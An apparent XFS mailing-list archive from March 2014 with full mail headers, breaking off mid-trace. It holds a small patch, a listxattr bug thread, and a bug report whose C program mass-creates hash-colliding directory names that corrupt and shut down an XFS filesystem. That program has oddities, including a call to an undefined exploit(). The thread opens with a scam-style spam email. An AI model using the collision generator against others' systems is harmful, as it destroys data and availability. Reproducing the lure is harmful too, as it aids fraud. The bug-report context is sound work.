relay2.corp.sgi.com (Postfix) with ESMTP id 1BAFF304059 for ; Wed, 26 Mar 2014 05:04:19 -0700 (PDT) X-ASG-Debug-ID: 1395835457-04cb6c56759698e0001-NocioJ Received: from ns1.bing.com (i-46-149-22-200.compute.is-1.greenqloud.com [46.149.22.200]) by cuda.sgi.com with ESMTP id mG0OBWcBU8XGjnO9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 26 Mar 2014 05:04:18 -0700 (PDT) X-Barracuda-Envelope-From: jpbaugus@ns1.bing.com X-Barracuda-Apparent-Source-IP: 46.149.22.200 Received: from jpbaugus by ns1.bing.com with local (Exim 4.82) (envelope-from ) id 1WSmZ6-00021F-6u for xfs@oss.sgi.com; Wed, 26 Mar 2014 12:04:16 +0000 To: xfs@oss.sgi.com Subject: ASSALAMUALAIKUM From: MRS SAFIA HASSAN X-ASG-Orig-Subj: ASSALAMUALAIKUM Reply-To: hassan.safia249@live.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: Date: Wed, 26 Mar 2014 12:04:16 +0000 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ns1.bing.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [501 512] / [47 12] X-AntiAbuse: Sender Address Domain - ns1.bing.com X-Get-Message-Sender-Via: ns1.bing.com: authenticated_id: jpbaugus/only user confirmed/virtual account not confirmed X-Barracuda-Connect: i-46-149-22-200.compute.is-1.greenqloud.com[46.149.22.200] X-Barracuda-Start-Time: 1395835458 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA606_DYN_OB, BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4262 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC0_SA606_DYN_OB Custom Outbreak Rule SA606_DYN_OB Assalamualaikum I am from syria, mother of two kids I have proposal to present to you for the benefit of both of us,kindly reply me back for more details. (hassan.safia249@live.com) From dsterba@suse.cz Wed Mar 26 11:10:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 10DE57F3F for ; Wed, 26 Mar 2014 11:10:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E7BF1304084 for ; Wed, 26 Mar 2014 09:10:29 -0700 (PDT) X-ASG-Debug-ID: 1395850223-04bdf05dab99e8c0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 1qPiOHUGaOGBDkPE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 26 Mar 2014 09:10:24 -0700 (PDT) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 81FF8ACD9 for ; Wed, 26 Mar 2014 16:10:23 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 29A8EDAA2A; Wed, 26 Mar 2014 17:10:23 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH] xfsprogs: add a missing QA header file to install-qa target Date: Wed, 26 Mar 2014 17:10:21 +0100 X-ASG-Orig-Subj: [PATCH] xfsprogs: add a missing QA header file to install-qa target Message-Id: <1395850221-7295-1-git-send-email-dsterba@suse.cz> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1395850224 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4268 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Included from "include/libxfs.h". Signed-off-by: David Sterba --- branch: master include/Makefile | 1 + 1 file changed, 1 insertion(+) diff --git a/include/Makefile b/include/Makefile index 6682b9dbc23e..a867516c8a6d 100644 --- a/include/Makefile +++ b/include/Makefile @@ -23,6 +23,7 @@ QAHFILES = libxfs.h libxlog.h \ swab.h \ xfs_ag.h xfs_alloc.h xfs_alloc_btree.h xfs_arch.h xfs_attr_leaf.h \ xfs_attr_sf.h xfs_bit.h xfs_bmap.h xfs_bmap_btree.h xfs_btree.h \ + xfs_attr_remote.h \ xfs_btree_trace.h \ xfs_cksum.h \ xfs_da_btree.h \ -- 1.9.0 From bfoster@redhat.com Wed Mar 26 16:35:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 97D1B7F3F for ; Wed, 26 Mar 2014 16:35:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 13CC8AC002 for ; Wed, 26 Mar 2014 14:35:54 -0700 (PDT) X-ASG-Debug-ID: 1395869753-04cb6c5675996ac0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hqnOi3HEhQzVgJeE for ; Wed, 26 Mar 2014 14:35:53 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2QLZpnw015585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 26 Mar 2014 17:35:52 -0400 Received: from laptop.bfoster (vpn-54-22.rdu2.redhat.com [10.10.54.22]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2QLZpnA023055; Wed, 26 Mar 2014 17:35:51 -0400 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 064A0120AC4; Wed, 26 Mar 2014 17:35:51 -0400 (EDT) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s2QLZnmp008556; Wed, 26 Mar 2014 17:35:49 -0400 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Wed, 26 Mar 2014 17:35:49 -0400 From: Brian Foster To: Sage Weil Cc: xfs@oss.sgi.com Subject: Re: E2BIG from listxattr Message-ID: <20140326213548.GB4128@laptop.bfoster> X-ASG-Orig-Subj: Re: E2BIG from listxattr References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395869753 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Mar 25, 2014 at 10:48:08PM -0700, Sage Weil wrote: > Hi, > > If you create a bunch of xattrs on an inode, you can get into a sitation > where you can no longer list them. The reproducer below just does > setxattr until it gets an error or listxattr starts returning E2BIG. Once > you're in this state you can getxattr attrs you know the name of, but you > can't list them, which is a bit inconvenient. > > Presumably the fix is for setxattr to verify that the list of all xattr > names will fit into a 64K buffer or else return ENOSPC... > Hi Sage, I think doing something like this would be an artificial restriction on XFS. The listxattr() function in the vfs actually caps the provided buffer to 64k. This in turn causes an error in XFS, which is capable of filling a larger buffer, and the VFS converts that error into E2BIG. I ran a quick experiment to remove that bit of code from listxattr() and modified your program to use a 128k buffer. Everything still seems to work Ok until I exhaust that buffer. Given that and the fact that listxattr() does an allocation of the user-provided size, I suspect the 64k restriction here is some kind of policy based on memory allocation, but that's a guess. The right fix might be something more involved, such as fixing the interface to handle larger sets of data (e.g., copy direct to a user buffer, or introduce an iterative interface, etc.). Brian > sage > > > #include > #include > #include > #include > #include > #include > > int main(int argc, char **argv) > { > char *fn = argv[1]; > char buf[655360]; > int buflen = sizeof(buf); > int i; > > for (i = 0; i < 10000; ++i) { > int r = listxattr(fn, buf, buflen); > if (r < 0) { > perror("listxattr"); > return 1; > } > char n[100]; > sprintf(n, "user.foooooooooooooooooooooooooooooooooooooo%d", i); > r = setxattr(fn, n, "", 0, 0); > if (r < 0) { > perror("setxattr"); > return 1; > } > printf("set %d\n", i); > } > return 0; > } > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From hannes@stressinduktion.org Thu Mar 27 02:42:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4B22B7F3F for ; Thu, 27 Mar 2014 02:42:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BC375AC003 for ; Thu, 27 Mar 2014 00:42:01 -0700 (PDT) X-ASG-Debug-ID: 1395906117-04cb6c56769c0450001-NocioJ Received: from order.stressinduktion.org (order.stressinduktion.org [87.106.68.36]) by cuda.sgi.com with ESMTP id Qc5og3ogWaOMFE7I (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Mar 2014 00:41:58 -0700 (PDT) X-Barracuda-Envelope-From: hannes@stressinduktion.org X-Barracuda-Apparent-Source-IP: 87.106.68.36 Received: by order.stressinduktion.org (Postfix, from userid 500) id 191941A0C27D; Thu, 27 Mar 2014 08:41:57 +0100 (CET) Date: Thu, 27 Mar 2014 08:41:56 +0100 From: Hannes Frederic Sowa To: xfs@oss.sgi.com Subject: xfs errors while unlinking filenames with hash collisions Message-ID: <20140327074156.GJ29498@order.stressinduktion.org> X-ASG-Orig-Subj: xfs errors while unlinking filenames with hash collisions Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline X-Barracuda-Connect: order.stressinduktion.org[87.106.68.36] X-Barracuda-Start-Time: 1395906118 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4296 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello! I wanted to break some network stack hashing, but while running the test against my local xfs filesystem I got corruptions in rmdir: [ 3856.245843] XFS (vda1): Internal error xfs_trans_cancel at line 966 of file fs/xfs/xfs_trans.c. Caller 0xffffffffa01186bc [ 3856.249049] CPU: 1 PID: 866 Comm: rm Not tainted 3.13.6-200.fc20.x86_64 #1 [ 3856.250966] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 3856.252615] 000000000000000c ffff8800d23a7d68 ffffffff8168730c ffff8800cf5462b8 [ 3856.254823] ffff8800d23a7d80 ffffffffa00d00cb ffffffffa01186bc ffff8800d23a7da8 [ 3856.257241] ffffffffa00e5459 ffff8800d9ac3400 ffff8800d23a7e30 ffff8800371b6800 [ 3856.259420] Call Trace: [ 3856.260172] [] dump_stack+0x45/0x56 [ 3856.261717] [] xfs_error_report+0x3b/0x40 [xfs] [ 3856.263472] [] ? xfs_remove+0x1ac/0x370 [xfs] [ 3856.270838] [] xfs_trans_cancel+0xd9/0x100 [xfs] [ 3856.272783] [] xfs_remove+0x1ac/0x370 [xfs] [ 3856.274531] [] xfs_vn_unlink+0x4b/0x90 [xfs] [ 3856.276286] [] vfs_rmdir+0xa8/0x100 [ 3856.277821] [] do_rmdir+0x17d/0x1d0 [ 3856.281021] [] ? ____fput+0xe/0x10 [ 3856.285261] [] ? task_work_run+0xac/0xe0 [ 3856.286952] [] ? do_notify_resume+0x61/0xa0 [ 3856.288693] [] SyS_unlinkat+0x25/0x40 [ 3856.290407] [] system_call_fastpath+0x16/0x1b [ 3856.292685] XFS (vda1): xfs_do_force_shutdown(0x8) called from line 967 of file fs/xfs/xfs_trans.c. Return address = 0xffffffffa00e5472 [ 3856.627330] XFS (vda1): Corruption of in-memory data detected. Shutting down filesystem [ 3856.627332] XFS (vda1): Please umount the filesystem and rectify the problem(s) I also tested this on a current linux net-next kernel, which is 3.14.0-rc6. If I run the test code below in an directory for a while and after that try to unlink the files in it (rm -rf testdir), I get above splat. Even after running xfs_repair I cannot remove the directory. The system is pretty unusable after that if this is done on a root filesystem. I quickly extracted this simple test case below. It does not generate perfect collisions, but they are enough to trigger the above described problem. Thanks, Hannes ---- >8 ---- #include #include #include #include #include #include #include #include #include #include #include static inline uint32_t rol32(uint32_t word, unsigned int shift) { return (word << shift) | (word >> (32 - shift)); } static uint32_t xfs_hash(const uint8_t *name, int namelen) { uint32_t hash = 0; for (; namelen >= 4; namelen -= 4, name += 4) hash = (name[0] << 21) ^ (name[1] << 14) ^ (name[2] << 7) ^ (name[3] << 0) ^ rol32(hash, 7 * 4); if (namelen) abort(); return hash; } static uint8_t gen_rand(void) { uint8_t r; while (!(r = rand())); return r; } static uint8_t *round_one(uint8_t (*generator)()) { int idx; static uint8_t buffer[300] = {0}; for (idx = 0; idx < 252-4; idx+=4) { buffer[idx + 0] = gen_rand(); buffer[idx + 1] = gen_rand(); buffer[idx + 2] = gen_rand(); buffer[idx + 3] = gen_rand(); } return buffer; } static uint8_t *round_two(uint8_t *buffer) { static uint8_t a = 0, b = 0, c = 0; static const uint32_t target = ~0U; uint32_t hash = rol32(xfs_hash(buffer, 248), 7 * 4); a++, b++, c++; uint32_t last = hash ^ target; buffer[248] = (last >> 21) & 0xff; buffer[249] = (last >> 14) & 0xff; buffer[250] = (last >> 7) & 0xff; buffer[251] = last & 0xff; return buffer; } int main(int argc, char **argv) { unsigned int cnt = 0; while (true) mkdir(round_two(round_one(gen_rand)), S_IRWXU); exploit(); } --- >8 ---- From tinguely@sgi.com Thu Mar 27 08:14:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A8DC29DF7 for ; Thu, 27 Mar 2014 08:14:08 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5E1EB30406A; Thu, 27 Mar 2014 06:14:05 -0700 (PDT) Message-ID: <5334241E.9060708@sgi.com> Date: Thu, 27 Mar 2014 08:14:06 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Hannes Frederic Sowa CC: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> In-Reply-To: <20140327074156.GJ29498@order.stressinduktion.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/27/14 02:41, Hannes Frederic Sowa wrote: > Hello! > > I wanted to break some network stack hashing, but while running the test > against my local xfs filesystem I got corruptions in rmdir: > > [ 3856.245843] XFS (vda1): Internal error xfs_trans_cancel at line 966 of file fs/xfs/xfs_trans.c. Caller 0xffffffffa01186bc > [ 3856.249049] CPU: 1 PID: 866 Comm: rm Not tainted 3.13.6-200.fc20.x86_64 #1 > [ 3856.250966] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > [ 3856.252615] 000000000000000c ffff8800d23a7d68 ffffffff8168730c ffff8800cf5462b8 > [ 3856.254823] ffff8800d23a7d80 ffffffffa00d00cb ffffffffa01186bc ffff8800d23a7da8 > [ 3856.257241] ffffffffa00e5459 ffff8800d9ac3400 ffff8800d23a7e30 ffff8800371b6800 > [ 3856.259420] Call Trace: > [ 3856.260172] [] dump_stack+0x45/0x56 > [ 3856.261717] [] xfs_error_report+0x3b/0x40 [xfs] > [ 3856.263472] [] ? xfs_remove+0x1ac/0x370 [xfs] > [ 3856.270838] [] xfs_trans_cancel+0xd9/0x100 [xfs] > [ 3856.272783] [] xfs_remove+0x1ac/0x370 [xfs] > [ 3856.274531] [] xfs_vn_unlink+0x4b/0x90 [xfs] > [ 3856.276286] [] vfs_rmdir+0xa8/0x100 > [ 3856.277821] [] do_rmdir+0x17d/0x1d0 > [ 3856.281021] [] ? ____fput+0xe/0x10 > [ 3856.285261] [] ? task_work_run+0xac/0xe0 > [ 3856.286952] [] ? do_notify_resume+0x61/0xa0 > [ 3856.288693] [] SyS_unlinkat+0x25/0x40 > [ 3856.290407] [] system_call_fastpath+0x16/0x1b > [ 3856.292685] XFS (vda1): xfs_do_force_shutdown(0x8) called from line 967 of file fs/xfs/xfs_trans.c. Return address = 0xffffffffa00e5472 > [ 3856.627330] XFS (vda1): Corruption of in-memory data detected. Shutting down filesystem > [ 3856.627332] XFS (vda1): Please umount the filesystem and rectify the problem(s) > > I also tested this on a current linux net-next kernel, which is 3.14.0-rc6. > > If I run the test code below in an directory for a while and after that > try to unlink the files in it (rm -rf testdir), I get above splat. Even > after running xfs_repair I cannot remove the directory. The system is > pretty unusable after that if this is done on a root filesystem. > > I quickly extracted this simple test case below. It does not generate > perfect collisions, but they are enough to trigger the above described > problem. > > Thanks, > > Hannes > Have you tried to run a xfs_repair on the filesystem after the reboot? Do you fill the filesystem with the test or just part way? --Mark. From hannes@stressinduktion.org Thu Mar 27 08:23:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F02FD29DF7 for ; Thu, 27 Mar 2014 08:23:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D0B198F804B for ; Thu, 27 Mar 2014 06:23:56 -0700 (PDT) X-ASG-Debug-ID: 1395926634-04cbb054b87fc290001-NocioJ Received: from order.stressinduktion.org (order.stressinduktion.org [87.106.68.36]) by cuda.sgi.com with ESMTP id ckbu22IL6C5TM1rh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Mar 2014 06:23:55 -0700 (PDT) X-Barracuda-Envelope-From: hannes@stressinduktion.org X-Barracuda-Apparent-Source-IP: 87.106.68.36 Received: by order.stressinduktion.org (Postfix, from userid 500) id 3454F1A0C2A1; Thu, 27 Mar 2014 14:23:54 +0100 (CET) Date: Thu, 27 Mar 2014 14:23:54 +0100 From: Hannes Frederic Sowa To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions Message-ID: <20140327132354.GU29498@order.stressinduktion.org> X-ASG-Orig-Subj: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <5334241E.9060708@sgi.com> X-Barracuda-Connect: order.stressinduktion.org[87.106.68.36] X-Barracuda-Start-Time: 1395926635 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4305 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: > Have you tried to run a xfs_repair on the filesystem after the reboot? Yes, I did. I still use the filesystem and it works. As soon as I try to remove the directory again the same splash from above happens again. > Do you fill the filesystem with the test or just part way? Just part way. The problem certainly appears with 100_000 created directories. Greetings, Hannes From tinguely@sgi.com Thu Mar 27 08:34:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5308029DF7 for ; Thu, 27 Mar 2014 08:34:13 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0F8C88F8054; Thu, 27 Mar 2014 06:34:13 -0700 (PDT) Message-ID: <533428D6.507@sgi.com> Date: Thu, 27 Mar 2014 08:34:14 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Hannes Frederic Sowa CC: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> In-Reply-To: <20140327132354.GU29498@order.stressinduktion.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit On 03/27/14 08:23, Hannes Frederic Sowa wrote: > On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: >> Have you tried to run a xfs_repair on the filesystem after the reboot? > > Yes, I did. I still use the filesystem and it works. As soon as I try to > remove the directory again the same splash from above happens again. Is it the latest xfsprogs' repair? Do you have the output from the repair still? >> Do you fill the filesystem with the test or just part way? > > Just part way. The problem certainly appears with 100_000 created directories. > > Greetings, > > Hannes okay thanks. --Mark. From hannes@stressinduktion.org Thu Mar 27 09:06:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B00429DF7 for ; Thu, 27 Mar 2014 09:06:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C54B2AC008 for ; Thu, 27 Mar 2014 07:05:59 -0700 (PDT) X-ASG-Debug-ID: 1395929156-04cb6c56779e2900001-NocioJ Received: from order.stressinduktion.org (order.stressinduktion.org [87.106.68.36]) by cuda.sgi.com with ESMTP id OZ9i3W9BjcSyRJWe (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Mar 2014 07:05:57 -0700 (PDT) X-Barracuda-Envelope-From: hannes@stressinduktion.org X-Barracuda-Apparent-Source-IP: 87.106.68.36 Received: by order.stressinduktion.org (Postfix, from userid 500) id 602271A0C2A1; Thu, 27 Mar 2014 15:05:56 +0100 (CET) Date: Thu, 27 Mar 2014 15:05:56 +0100 From: Hannes Frederic Sowa To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions Message-ID: <20140327140556.GW29498@order.stressinduktion.org> X-ASG-Orig-Subj: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <533428D6.507@sgi.com> X-Barracuda-Connect: order.stressinduktion.org[87.106.68.36] X-Barracuda-Start-Time: 1395929157 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4305 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: > On 03/27/14 08:23, Hannes Frederic Sowa wrote: > >On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: > >>Have you tried to run a xfs_repair on the filesystem after the reboot? > > > >Yes, I did. I still use the filesystem and it works. As soon as I try to > >remove the directory again the same splash from above happens again. > > Is it the latest xfsprogs' repair? > > Do you have the output from the repair still? I can easily test this here, so you can throw any commands and tests at me. ;) This is the output: (I replayed the journal before that) pre-mount:/# xfs_repair -V xfs_repair version 3.1.11 pre-mount:/# xfs_repair -v /dev/vda1 Phase 1 - find and verify superblock... - block cache size set to 372848 entries Phase 2 - using internal log - zero log... zero_log: head block 5071 tail block 5071 - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 bad hash ordering in block 8388739 of directory inode 3543184 - agno = 1 - agno = 2 - agno = 3 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 Phase 5 - rebuild AG headers and trees... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... - agno = 0 rebuilding directory inode 3543184 - agno = 1 - agno = 2 - agno = 3 - traversal finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify and correct link counts... XFS_REPAIR Summary Thu Mar 27 14:03:12 2014 Phase Start End Duration Phase 1: 03/27 14:02:42 03/27 14:02:42 Phase 2: 03/27 14:02:42 03/27 14:02:42 Phase 3: 03/27 14:02:42 03/27 14:02:45 3 seconds Phase 4: 03/27 14:02:45 03/27 14:02:46 1 second Phase 5: 03/27 14:02:46 03/27 14:02:46 Phase 6: 03/27 14:02:46 03/27 14:03:10 24 seconds Phase 7: 03/27 14:03:10 03/27 14:03:10 Total run time: 28 seconds done Some other time I remembered getting directory names printed to the serial console, which got killed because of this. This time it didn't happen. Btw., When tried to remove the old directory without generating a new poison one, I got some other traces. Seems like the above splash only happens when I create and try to remove the directories in one run (without reboot between). [ 23.401494] ffff88011898e000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 23.408565] ffff88011898e010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 23.423819] ffff88011898e020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 23.430293] ffff88011898e030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 23.433952] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 